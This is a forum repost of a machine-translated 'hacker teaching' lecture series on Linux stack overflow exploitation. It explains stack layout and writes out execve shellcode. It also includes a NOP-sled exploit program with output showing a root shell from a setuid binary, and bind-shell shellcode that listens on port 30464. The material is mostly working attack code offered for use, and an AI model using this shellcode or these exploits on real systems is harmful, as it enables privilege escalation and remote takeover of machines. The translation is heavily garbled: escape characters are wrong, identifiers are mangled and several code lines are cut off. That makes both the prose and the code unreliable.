Stack overflow series lecture (1-10) stack overflow series lecture (1) _Hacker teaching _ hacking technology
This article and the following series of equivalents are translated and organized according to the English materials of Alphe One, TAEHO OH, and you can copy and distribute anything. Preface: Get ROOT privileges by stack overflow is a quite common hacker technology currently used. In fact, this hacker has a preferred attack method after the system has already had a basic account. He is also widely used in remote attacks. It has been implemented by many instances through the stack overflow of the daemon process. In the Windows system, there is also a problem with stack overflow. Moreover, with the popularity of the Internet, the Internet Server on the WIN series platform is increasing, and the low-level WIN program becomes a fatal injury on your system. Because they are also overflowed by remote stacks, and because Win system users and managers generally lack security guardians, a stack overflow on a WIN system, if the malicious utilization will cause the entire machine to be controlled by the enemy. Furthermore, it may cause the entire local area to enter the enemy's hand. This series of lectures describe the system, principles, applications, and prevention measures of the stack overflow. I hope that through my lecture, you can understand and master this technology. Moreover, you will find your stack overflow vulnerability to improve system security. Stack Overflow Series Getting Stated Preparation: First of all, you should learn about Intel assembly language, familiar with the composition and functionality of registers. You must have the basics of stack and storage allocation, there are many computer books on this area, I will just simply elaborate principles, focusing on applications. Second, you should understand Linux, this lecture, our example will be developed on Linux. 1: First review the basic knowledge. Alternatively, the stack is a continuously allocated memory space. In a program, various variables are declared. Static global variables are loaded at the data segment and is loaded when the program starts running. The dynamic local variable of the program is allocated inside the stack. From the operation, the stack is a queue that is first inward. His growth direction is opposite to the direction of the growth direction. We specify that the growth direction of the memory is up, then the growth direction of the stack is down. Pushing operation Push = ESP-4, out of the stack is POP = ESP 4. In other words, the old value in the stack, the memory address, but more than the new value. Please remember this because it is the basic theoretical basis for stack overflow. In a function call, the stack will be pressed in sequence: parameters, return addresses, EBP. If the function has a local variable, then the corresponding space is opened in the stack to construct a variable. The function is executed, and the content of these local variables will be lost. But it is not cleared. When the function returns, the EBP pops up, restore the stack to the address called the function called, and pops up the address to the EIP to continue executing the program. In a C language program, the stack order of the parameters is reverse. For example, FUNC (A, B, C). At the time of the argument, it is: first pressing C, then press B, and finally press A. When the parameter is taken, the top of the stack is first in the stack, and then B, and finally C.
(PS: If you don't understand the above outline, please go to see the book about the stack, the general assembly language book will discuss the stack in detail, you must understand it, you can make the following learning 2: Good , Continue, let us see what is stack overflow. 2.1: Stack assignment at runtime
The stack overflow is to write too much data to the data block in a part of the local data block allocated in the stack, resulting in data offline. The result is covered with old stack data. For example, there is a program below: Program 1: #include int main () {char name [8]; Printf ("please type your name:"; gets (name); Printf ("Hello,% s!", Name) Return 0;} Compile and execute, we entered ipXodi, it will output hello, ipXodi !. How do you operate in the stack? When the main function starts running, the stack will be placed in turn in the return address, EBP. We use GCC -S to get assembly language output, you can see the beginning of the main function corresponding to the following statement: Pushl% EBP MOVL% ESP,% EBP SUBL $ 8,% ESP first, please save EBP, then EBP is equal ESP, so EBP can be used to access local variables of this function. The ESP is then reduced by 8, which is the stack up to 8 bytes to store the Name [] array. Now the layout of the stack is as follows: Memory bottom memory top Name EBP RET <-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- RET <----- [ipxodi / 0] [] [] ^; Name Stack top stack bottom, main returns, pops up the address in the RET, assigns the value to the EIP, the CPU continues to perform the command pointed to by the EIP. 2.2: The stack overflows, it looks smooth. We will execute once again, enter ipxodiaaaaaaaaaaaaaaa, after performing gets (name), the stack is as follows: Memory bottom memory top Name EBP RET <------ [ipxodiaaa] [aaaa] [aaaa] ....... ^ At the bottom of the Name Stack Top Stack Because the Name string we entered is too long, the NAME array is not covered, but only to write 'a' on the top of the memory. Since the growth direction of the stack is opposite to the growth direction of the memory, these 'a' covers the old elements of the stack. As shown in the figure, we can find that EBP, RET has been covered by 'A'.
When MAIN is returned, the 'AAA' ASCII code: 0x41414141 is used as the return address, and the CPU will attempt to execute the instructions at 0x41414141, and the result is an error. This is the stack overflow. 3: How to use the stack overflow we have made a stack overflow. The principle can be summarized as: due to string processing functions (Gets, Strcpy, etc.) do not monitor and limit the array crosses, we use the character number to write the offshore, cover the value of the old elements in the stack, you can modify the return address. In the above example, this causes the CPU to access a non-existing instruction, and the result is wrong. In fact, when the stack overflows, we have fully controlled the next step in this program. If we overwrite this return address with a actual presence, the CPU will turn to our instructions. In the UINX system, our instructions can perform a shell, which will be the same permissions as the programs that have been overflowed by our stack. If this program is setuid, then we can get the root shell. The next lecture will describe how to write a shell code. Reply: Stack overflow series lecture (1-10) Stack overflow series lecture (2) _hacker teaching _ hacking technology
How to write a shell code 1: SHELLCODE Basic Algorithm Analysis In the program, executing a shell is written in this: shellcode.c ------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------------- #include
0x80002CE <__EXECVE 18>: int $ 0x80; executive 0xB number system call (Execve) 0x80002d0 <__ execve 20>: MOVL% EAX,% EDX; below is the process of return values. 0x80002d2 <__ execve 22>: testl% edx,% edx 0x80002d4 <__ execve 24>: jnl 0x80002e6 <__ execve 42> 0x80002d6 <__ execve 26>: negl% edx 0x80002d8 <__ execve 28>: pushl% edx 0x80002d9 <__ execve 29>: call 0x8001a34 <__ normal_errno_location> 0x80002de <__ execve 34>: popl% edx 0x80002df <__ execve 35>: movl% edx, (% eax) 0x80002e1 <__ execve 37>: movl $ 0xffffffff,% eax 0x80002e6 <__ execve 42>: popl% EBX 0x80002e7 <__ execve 43>: MOVL% EBP,% ESP 0x80002E9 <__ execve 45>: POPL% EBP 0x80002ea <__ execve 46>: RET 0x80002eb <__ execve 47>: NOP end of assembler dump After the above analysis, you can get the following reduced instruction algorithm: MOVL $ execve system call number,% EAX MOVL "BIN / SH / 0" address,% EBX MOVL NAME array address,% ECX MOVL NAME [N- 1] Address,% EDX INT $ 0x80; Execute System Call (Execve) When Execve is executed, the program shellcode exits, / bin / SH will continue to execute as the child process. However, if our Execve performs failure, (for example, there is no / bin / sh), the CPU will continue to perform subsequent instructions, and the result I don't know where to go. So you must perform an exit () system call, end the execution of shellcode.c.
Let's see the assembly code of Exit (0): (GDB) Disassemble _Exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl% EBP 0x800034D <_exit 1>: movl% ESP,% EBP 0x800034f <_exit 3>: pushl% EBX 0x8000350 <_exit 4>: MOVL $ 0x1,% EAX; 1 system call 0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX; EBX is parameter 0 0x8000358 <_exit 12>: int $ 0x80; trigger system call 0x800035a <_exit 14>: MOVL 0xFFFFFFC (% EBP),% EBX 0x800035D <_exit 17>: MOVL% EBP,% ESP 0x800035F <_exit 19>: Popl% EBP 0x8000360 <_exit 20>: RET 0x8000361 <_exit 21>: NOP 0x8000362 <_exit 22>: NOP 0x8000363 <_exit 23>: NOP End of Assembler Dump.
It seems that the assembly code of Exit (0) is more simple: MOVL $ 0x1,% EAX; No. 1 system call MOVL 0,% EBX; EBX is the parameter 0 INT $ 0x80 in Exit; trigger the system call, summarize the compilation The code is: system call number,% EAX MOVL "BIN / SH / 0" address,% EBX MOVL NAME array address,% ECX MOVL NAME [N-1],% EDX INT $ 0x80; Perform system call (Execve) MOVL $ 0x1,% EAX; 1 system calls MOVL 0,% EBX; EBX is EXIT's parameter 0 int $ 0x80; execute system call (exit) 2: Implement a shellcode, let's implement this algorithm. First we must have a string "/ bin / sh", have to have an Name array. We can construct them, but why do they know their address in Shellcode? Each program is dynamically loaded, the address of the string and the Name array is not fixed. Through JMP and Call, the hackers have solved this problem. -------------------------------------------------- ---------------------- JMP Call offset address # 2 bytes popl% ESI # 1 byte // Popl comes out is the address of String. MOVL% ESI, Array-Offset (% ESI) # 3 bytes // Constructs Name array in String 8, // Name [0] Putting String Address MOVB $ 0x0, NullByteoffset (% ESI) # 4 bytes // string 7 Play 0 as the end of String. MOVL $ 0x0, Null-Offset (% ESI) # 7 bytes // name [1] puts 0. MOVL $ 0XB,% EAX # 5 bytes // EAX = 0xB is the syscall code for Execve.
MOVL% ESI,% EBX # 2 bytes // EBX = String address LEAL Array-Offset, (% ESI),% ECX # 3 BYTES // ECX = Name Array Start address LEAL NULL-OFFSET (% ESI),% EDX # 3 bytes // edx = name [1] address int $ 0x80 # 2 bytes // int 0x80 is Sys call MOVL $ 0x1,% EAX # 5 bytes // EX = 0x1 is exit's syscall code MOVL $ 0x0, % EBX # 5 bytes // ebx = 0 is exit return value int $ 0x80 # 2 bytes // int 0x80 is the offset address of sys call call popl # 5 bytes //> The address of String will be made / / To return the address stack. / BIN / SH string -------------------------------------------- ---------------------------- First use JMP relative address to jump to Call, execute the Call instruction, string / bin / sh The address will be pressed into the stack as the return address of the Call. Now come to the POPL ESI, take the string address of the string just pressing into the stack, get the real address of the string. Then, the 8th word of the string is 0, which is the end of the string. 8 bytes behind, constructed an NAME array (two integers, eight bytes). We can write shellcode. Write a briefing program first.
Shellcodeasm.c ------------------------------------------------ ------------------------- void main () {__ASM __ ("jmp 0x2a # 3 bytes popl% esi # 1 byte movl% ESI, 0x8 ( % ESI) # 3 bytes Movb $ 0x0,0x7 (% ESI) # 4 bytes Movl $ 0x0,0xc (% ESI) # 7 Bytes Movl $ 0xB,% ESI,% EBX # 2 bytes LEAL 0x8 (% ESI),% ECX # 3 bytes Leal 0xc (% ESI),% EDX # 3 bytes Int $ 0x80 # 2 Bytes Movl $ 0x1,% EAX # 5 bytes Movl $ 0x0,% EBX # 5 BYtes Int $ 0x80 # 2 Bytes Call -0x2f # 5 bytes .string / "/ bin / sh /" # 8 bytes ");} ------------------------- ------------------------------------------------ compiled, Use GDB's B / BX [Address] command to get ten Six refers to the expiration. Below, the test procedure is written as follows: (Note that this TEST program is the basic program of test shellcode) Test.c ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------- Char shellcode [] = "/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00" "/ x00 / xb8 / x0b / x00 / x00 / x00 / x89 / XF3 / X8D / X4E / X08 / XCD / X80 "" / XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF "/ x2f / x62 / x69 / x6e / x2f / x73 / x68 / x00 / x89 / xec / x5d / xc3"; void main () {int * ret; ret= (int *); RET 2; // RET equal to main () return address // ( 2 is because: There is a PUSHL EBP, otherwise add 1 is ok.
(* RET) = (int) shellcode; // Modify the return address of Main () to the start address of Shellcode. } ------------------------------------- ----------------------------------------------------------------- --------------------------------------------- [NKL10] $ GCC -o test test.c [nkl10] $ ./test $ exit [nkl10] $ ------------------------------- ----------------------------------------- We have stored Shellcode through a shellcode array. When we set the return address RET of the program (Test.c) to the start address of the shellcode array, the program will perform our shellcode when returning, and we get a shell. After running the results, I got the BSH prompt $, indicating that a shell was opened. It is necessary to explain here that we use shellcode as a global variable in the data segment instead of as a code. Because in the operating system, the content of the program code segment is read-only attribute. Can not be modified. And the MOVL% ESI, 0x8 (% ESI) in our code modifies part of the code, so it cannot be placed in the code segment. Can this shellcode? Unfortunately, it is still a bit. Everyone recalled that in the stack overflow, the key is the writing offshore in the string array. However, the string functions such as Gets, Strcpy are ended at "/ 0" as the string of strings in "/ 0". In cases / 0, you will end the write operation. And our shellcode string has a lot of / 0 characters. Therefore, for Gets (Name), the above shellcode is not feasible. Our shellcode can't have / 0 characters.
Therefore, some instructions need to be modified: old instructions New instructions ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------ - MOVB $ 0X0, 0X7 (% ESI) XORL% EAX,% EAX MOLV $ 0x0,0xc (% ESI) MOVB% Eax, 0x7 ( % ESI) MOVL% EAX, 0xC (% ESI) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------ MOVL $ 0XB,% EAX MOVB $ 0XB,% Al -------------------- ---------------------------------- MOVL $ 0X1,% EAX XORL% EBX,% EBX MOVL $ 0 X0,% EBX MOVL% EBX,% EAX Inc% EAX ------------------------------------- ------------------- The last shellcode is: -------------------------- ---------------------------------------------- Char shellcode [] = 00 "/ Xeb / x1f" / * jmp 0x1f * / 02 "/ x5e" / * popl% ESI * / 03 "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / 06 "/ x31 / xc0" / * xorl% EAX,% EAX * / 08 "/ x88 / x46 / x07" / * movb% EAX, 0x7 (% ESI) * / 0b "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / 0e "/ XB0 / X0B "/ * MOVB $ 0XB,% Al * / 10" / x89 / xf3 "/ * movl% ESI,% EBX * / 12" / x8d / x4e / x08 "/ * LEAL 0x8 (% ESI),% ECX * / 15 "/ x8d / x56 / x0c"
/ * LEAL 0XC (% ESI),% EDX * / 18 "/ XCD / X80" / * int $ 0x80 * / 1A "/ x31 / xdb" / * xorl% EBX,% EBX * / 1C "/ x89 / xd8 "/ * MOVL% EBX,% EAX * / 1E" / x40 "/ * inc% EAX * / 1F" / xcd / x80 "/ * int $ 0x80 * / 21" / xe8 / xdc / xff / xff / XFF " / * CALL-0X24 * / 26 "/ bin / sh"; / * .string / "/ bin / sh /" * / --------------------- -------------------------------------------------- - Three: Using the stack overflow to get the shell, now we have made a stack overflow, write a shellcode. Preparation has been finished, we combine the two and write a program that uses stack overflow to get the shell.
Overflow1.c ----------------------------------------------- ------------------------- Char shellcode [] = "/ x76 / x08 / x31 / xc0 / x88 / X46 / X07 / x89 / X46 / X0C / XB0 / X0B "" / x89 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd "" / X80 / XE8 / XDC / XFF / XFF / XFF / BIN / SH "; char Large_string [128]; void main () {charffer [96]; int i; long * long_ptr = (long *) large_string; for (i = 0; i <32; i ) * (long_ptr i) = (int) buffer; for (i = 0; i Use stack overflow to get the shell Now let us enter the most exciting say, using the stack of others' programs to overflow to get rootshell. We will facing a program with StrcPy stack overflow vulnerabilities, using the previous method to get the shell. Recalling the previous speech, we have stored shellcode through a shellcode array, using the strcpy function in the program, put shellcode in the stack of the program; we have created the array of offers, overwriting the program with the start address of Shellcode (overflow.c) Back to the address, the program will perform our shellcode when returning, so we get a shell. When we face the procedures written by others, in order to let him perform our shellcode, we must also do this: 1: Provide our shellcode to him, let him visit Shellcode. 2: Modify his return address to the entrance address of shellcode. In order to do these, we must know that his STRCPY (Buffer, Ourshellcode), the address of the buffer. Because when we provide shellcode to STRCPY, the Buffer's start address is the start address of Shellcode, we must use this address to overwrite the stack. Everyone must be clear. We know that for the operating system, the stack segment of each program under a shell is the same. We can write a program to get the start address of the running, so we know the start address of the target program stack. Below this function, use EAX to return the current program's stack pointer. (All the return values of all C functions are placed in the EAX register): ----------------------------------- ------------------------------------- unsigned long get_sp (void) {__ASM __ ("MOVL% ESP ,% eax ");} ------------------------------------------- ----------------------------- After we know that the offset of the buffer relative to the stack start address is determined by the program that he writes himself, we don't know, we can only guess. However, the general program stack is about a few ks. So, this buffer has the stack address obtained above, and the difference is between a few k. Obviously, the address is a very difficult thing, from 0 to 10K, will be exhausted. Earlier we used to cover the overflow stack string is: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Now, in order to improve the hit rate, we carried out the following improvements to him: to overflow string becomes: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA wherein: N is the mean NOP.NOP instruction do nothing Skip a CPU instruction cycle. On the INTEL machine, the machine code of the NOP instruction is 0x90. S is shellcode. A gives us the address of the buffer. In this way, a guessing can also fall in N, and will eventually execute to S. This improvement greatly improves the hit rate of guess, sometimes almost hit. :))) Ok, boring algorithm is complete, the following is the use of ./vulnerable1 stack overflow vulnerabilities to get the shell program: Exploit1.c ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------- #include #define offset 0 #define ret_position 1024 #define Range 20 #define NOP 0x90 Char shellcode [] = "/ xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% esi) * / " / x31 / xc0 "/ * xorl% EAX,% EAX * /" / x88 / x46 / x07 "/ * movb% EAX, 0x7 (% ESI) * /" / x89 / x46 / x0c "/ * movl% EAX, 0xc (% ESI) * / "/ xb0 / x0b" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * movl% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ x8d / x56 / x0c" / * LEAL 0XC (% ESI),% EDX * / "/ XCD / X80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% eax * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / unsigned long get_sp (void) {__ASM __ (" MOVL% ESP,% EAX "); Main (int Argc, char ** argv) {char buff [RET_POSITION RANGE 1], * PTR; long addr; unsigned long sp; int off, = offset, bsize = RET_POSITION RANGE Align 1; int 1; IF (Argc> 1) OFFSET = ATOI (Argv [1]); SP = GET_SP (); addr = sp-offset; For (i = 0; i For (i = 0; i PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; for (i = 0; I Printf ("Jump to 0x% 08x / N", ADDR); EXECL ("./ Vulnerable1", "Vulnerable1", Buff, 0);} ---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- EXECL is used to perform the target program ./vulnerable1, BUFF is our carefully made overflow string, provided as a ./vulnerable1 parameters. The following is the result of the execution: ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------- [NKL10] $ ls -l Vulnerable1 -RWSR-XR-X 1 root root xxxx jan 10 16: 19 Vulnerable1 * [NKL10] $ LS -L Exploit1 -RWXR-XR-X 1 ipxodi Cinip XXXX Oct 18 13:20 Exploit1 * [NKL10] $ ./exploit1 jump to 0xBFFEC64 segmentation fault [NKL10] $ ./exploit1 500 jump to 0xBffea70 Bash # WHOAMI ROOT BASH # ----------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------- Congratulations, congratulations, you got the root shell. Next, we will further explore the writing of shellcode. We will discuss some very complex shellcode. Reply: Stack Overflow Series Lecture (1-10) Stack Overflow Series Lecture (5) _Hacker Teaching_ 黑客 Remote stack overflow When we use the stack overflow attack daemon daem, the principle and the local attack mentioned above are the same. We must provide a spill string to the target daemon, which contains shellcode. I hope that the enemy has a stack overflow when copying (or other string processing), so that our shellcode is performed. Ordinary shellcode will start a child process to execute SH, withdraw it. For our remote attackers, because we are not locating, we have not been obtained. Therefore, for remote users, we pass the shellcode must be burdened to open a socket, then our connection, give us a remote shell responsibility. How to open a remote shell? Let's apply for a socketfd, use 30464 (casual, how many banks) as this Socket connection port, bind he, then wait on this port to wait to connect Listen. When there is a connection coming, open a child shell, connect the connected clientfd as the STDIN, STDOUT, STDERR. In this way, our remote users have a remote shell (like telnet). Here is the C implementation of this algorithm: OpenSocket.c ----------------------------------------------- ------------------------- 1 # include 4INT SOC, CLI, SOC_LEN; 5STRUCT SOCKADDR_IN Serv_addr; 6Struct SockAddr_in Cli_addr; 7InT main () 8 {9 if (fork () == 0) 10 {11 serv_addr.sin_family = af_INET; 12 serv_addr.sin_addr.s_addr = htonl (inaddr_any); 13 serv_addr.sin_port = HTONS (30464); 14 SOC = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); 15 bind (SOC, STRUCKADDR *); Serv_addr, SIZEOF (Serv_addr)); 16 listen (SoC, 1); 17 SOC_LEN = SizeOf (CLI_ADDR); 18 CLI = Accept (SOC (struct sockaddr *) & cli_addr, & soc_len); 19 DUP2 (CLI, 0); 20 DUP2 (CLI, 1); 21 DUP2 (CLI, 2); 22 Execl ("/ Bin / SH", "SH", 0 ); 23} 24} -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------- The value is the PID of the child process. For the child process, the return value of the fork () is 0. In this program, the parent process exits a FORK, the child process continues the following operations as the executor of Socket communication. 10 to 23 rows are what is doing things. First call Socket to get a file descriptor So, then call bind () bind 30464 port, and then start listening listen (). The program hangs in the Accept Wait for the customer connection. When there is a customer connection, the program is awakened, performing an Accept, then redirects its standard input, standard output, standard error output to the customer's file descriptor, open a child, which, the child shell inherits this process. Document descriptor, for customers, it has been a remote shell. Did you understand? Well, right, this is a relatively simple Socket program, which is very understood. Ok, we use GDB to refine the above procedures: [Nkl10] $ gcc -o opensocket -static opensocket.c [nkl10] $ gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and / or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". .. (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 Socket 29>: RET 0X804CDBE : Cmpl $ 0xffffff83,% eax 0x804cd57 <__ accept 23>: jae 0x804cdc0 <__ syscall_error> 0x804cd5d <__ accept 29>: ret 0x804cd5e <__ accept 30>: nop 0x804cd5f <__ accept 31>: nop End of assembler dump (gdb. DISSEMBLER CODE for Function DUP2: 0X804CBE0 Compilation code for fork () ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------- CHAR CODE [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / " / XB0 / X02 "/ * MOVB $ 0x2,% Al * /" / XCD / X80 "; / * int $ 0x80 * / --------------------- -------------------------------------------------- - Socket (2, 1, 6) assembly code note: AF_INET = 2, SOCK_STREAM = 1, ipproto_tcp = 6 -------------------------- -------------------------------------------- / * Socket 66 system call, No. 1 sub-call. * / / * He uses a parameter 2, 1, 6. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX, % EBX * / "/ x89 / xf1" / * movl% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / * First parameter * / / *% ESI points to a unused memory space * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ X89 / X46 / X04" / * MOVL% EAX, 0x4 (% ESI) * / / * second parameter * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * third parameter. * / "/ Xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0X1,% BL * / "/ XCD / X80 "; / * int $ 0x80 * / -------------------------------------- ---------------------------------- Bind (STRUCT SOCKADDR *); Serv_addr, 0x10) assembly code ------------------------------- --------------------------------------- / * bind uses 66 system call, No. 2 Sub call. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * mov% ESI,% ECX * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ xb0 / x02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0XC (% ESI) * / / / * serv_addr.sin_family = af_net (2) * / / / * 2 placed in 0xc (% ESI). * / "/ xb0 / x77" / * MOVB $ 0X77,% Al * / "/ x66 / x89 / x46 / x0e" / * mov% AX, 0xE (% ESI) * / / * port number (0x7700 = 30464) At 0xE (% ESI) * / "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / / *% EAX = Serv_addr address * / "/ x89 / x46 / x04" / * MOVL % EAX, 0x4 (% ESI) * / / * second parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * /// * serv_addr.sin_addr.s_addr = 0 * / "/ xb0 / x10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * Third parameters. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ XCD / X80 "; / * Int $ 0x80 * / ----------------------------------------- ------------------------------- Assembly code for Listen (Soc, 1) --------------------------------------- ------------------------------- / * Listen uses 66 system calls, No.4 sub-calls. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * mov% ESI,% ECX * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / / * second parameter. * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X04 "/ * MOVB $ 0x4,% BL * /" / XCD / X80 "; / * int $ 0x80 * / ------------------------ ---------------------------------------------- ACCEPT ( SOC, 0, 0) assembly code --------------------------------------- ----------------------------- / * Accept 66 system call, No. 5 is called. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * movl% ESI,% ECX * / "/ x89 / xf1" / * MOVL% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ x31 / xc0" / * xorl% EAX,% Eax * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / / * second parameter. * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ XCD / X80 "; / * Int $ 0x80 * / ----------------------------------------- ------------------------------- Compilation code of DUP2 (CLI, 0) ---------------------------------------------------------------------------------------------------------------------------- ------------------------------ / * The first parameter is% EBX, the second parameter is% ECX * / Char code [] = / *% EAX is the return value of the Accept call, * / / * customer file descriptor CLI. * / "/ x88 / xc3" / * movb% Al,% BL * / "/ XB0 / x3f "/ * MOVB $ 0x3f,% Al * /" / x31 / xc9 "/ * xorl% ECX,% ECX * /" / xcd / x80 "; / * int $ 0x80 * / ------- -------------------------------------------------- --------------- Now, all the details will be stringed to form a new shell. New shellcode ------------------------------------------------------------------------------------------------ ------------------------ CHAR shellcode [] = 00 "/ x31 / xc0" / * xorl% EAX,% EAX * / 02 "/ XB0 / x02 "/ * MOVB $ 0x2,% Al * / 04" / xcd / x80 "/ * int $ 0x80 * / 06" / x85 / xc0 "/ * testl% EAX,% EAX * / 08" / x75 / x43 "/ * JNE 0x43 * / / * Execute fork (), when Fork ()! = 0, it shows that it is a parent process, to terminate * / / * therefore, jump to 0x43 a = 0x4d, jump to the back, execute EXIT (0) * / 0A "/ Xeb / x43" / * JMP 0x43 * / / * When Fork () == 0, it indicates that the child process * / / * therefore jumps to 0x43 0c = 0x4f, and then jump Go back, execute Call -0xa5 * / 0c "/ x5e" / * popl% ESI * / 0D "/ x31 / xc0" / * xorl% EAX,% EAX * / 0F "/ x31 / xdb" xorl% EBX % EBX * / 11 "/ x89 / xf1" / * movl% ESI,% ECX * / 13 "/ XB0 / X02" / * MOVB $ 0x2,% Al * / 15 "/ x89 / x06" / * movl% Eax, (% ESI) * / 17 "/ xb0 / x01" / * MOVB $ 0X1,% Al * / 19 "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 1C "/ XB0 / X06 "/ * MOVB $ 0X6,% Al * / 1E" / x89 / x46 / x08 "/ * movl% EAX, 0x8 (% ESI) * / 21" xb0 / x66 "/ * MOVB $ 0X66,% Al * / 23 "/ xb3 / x01" / * MOVB $ 0X1,% BL * / 25 "/ xcd / x80" / * int $ 0x80 * / / * Execute Socket (), Eax is the return value SOC file descriptor * / 27 "/ x89 / x06" / * movl% EAX, (% ESI) * / 29 "/ xb0 / x02" / * MOVB $ 0x2,% Al * / 2D "/ x66 / x89 / x46 / x0c" / * MOVW % AX, 0XC (% ESI) * / 2F "/ xb0 / x77" / * MOVB $ 0x77,% Al * / 31 "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / 35 "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / 38 "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 3b "/ x31 / XC0 "/ * xorl% EAX,% EAX * / 3D" / x89 / x46 / x10 "/ * movl% EAX, 0x10 (% ESI) * / 40" / xb0 / x10 "/ * MOVB $ 0X10,% Al * / 42 "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / 45 "/ xb0 / x66" / * MOVB $ 0X66,% Al * / 47 "/ XB3 / X02" / * MOVB $ 0x2,% BL * / 49 "/ xcd / x80" / * int $ 0x80 * / / * execution bind () * / 4b "/ xeb / x04" / * jmp 0x4 * / / * crossing two jumps turn*/ 4D "/ Xeb / X55" / * JMP 0x55 * / / * jump to 0x4f 0x55 = 0xA4 * / 4F "/ xeb / x5b" / * jmp 0x5b * / / * jump to 0x51 0x5b = 0xac * / 51 "/ xb0 / x01" / * MOVB $ 0x1,% Al * / 53 "/ x89 / x46 / x04" / * movl% EAX, 0X4 (% ESI) * / 56 "/ xb0 / x66" / * MovB $ 0 X66,% Al * / 58 "/ XB3 / X04" / * MOVB $ 0X4,% BL * / 5A "/ XCD / X80" / * int $ 0x80 * / / * Execute Listen () * / 5C "/ x31 / xc0" / * xorl% EAX,% EAX * / 5E "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 61 "/ x89 / x46 / x08" / * MOVL% EAX, 0x8 (% ESI) * / 64 "/ xb0 / x66" / * MOVB $ 0x66,% Al * / 66 "/ XB3 / X05" / * MOVB $ 0X5,% BL * / 68 "/ XCD / X80 "/ * int $ 0x80 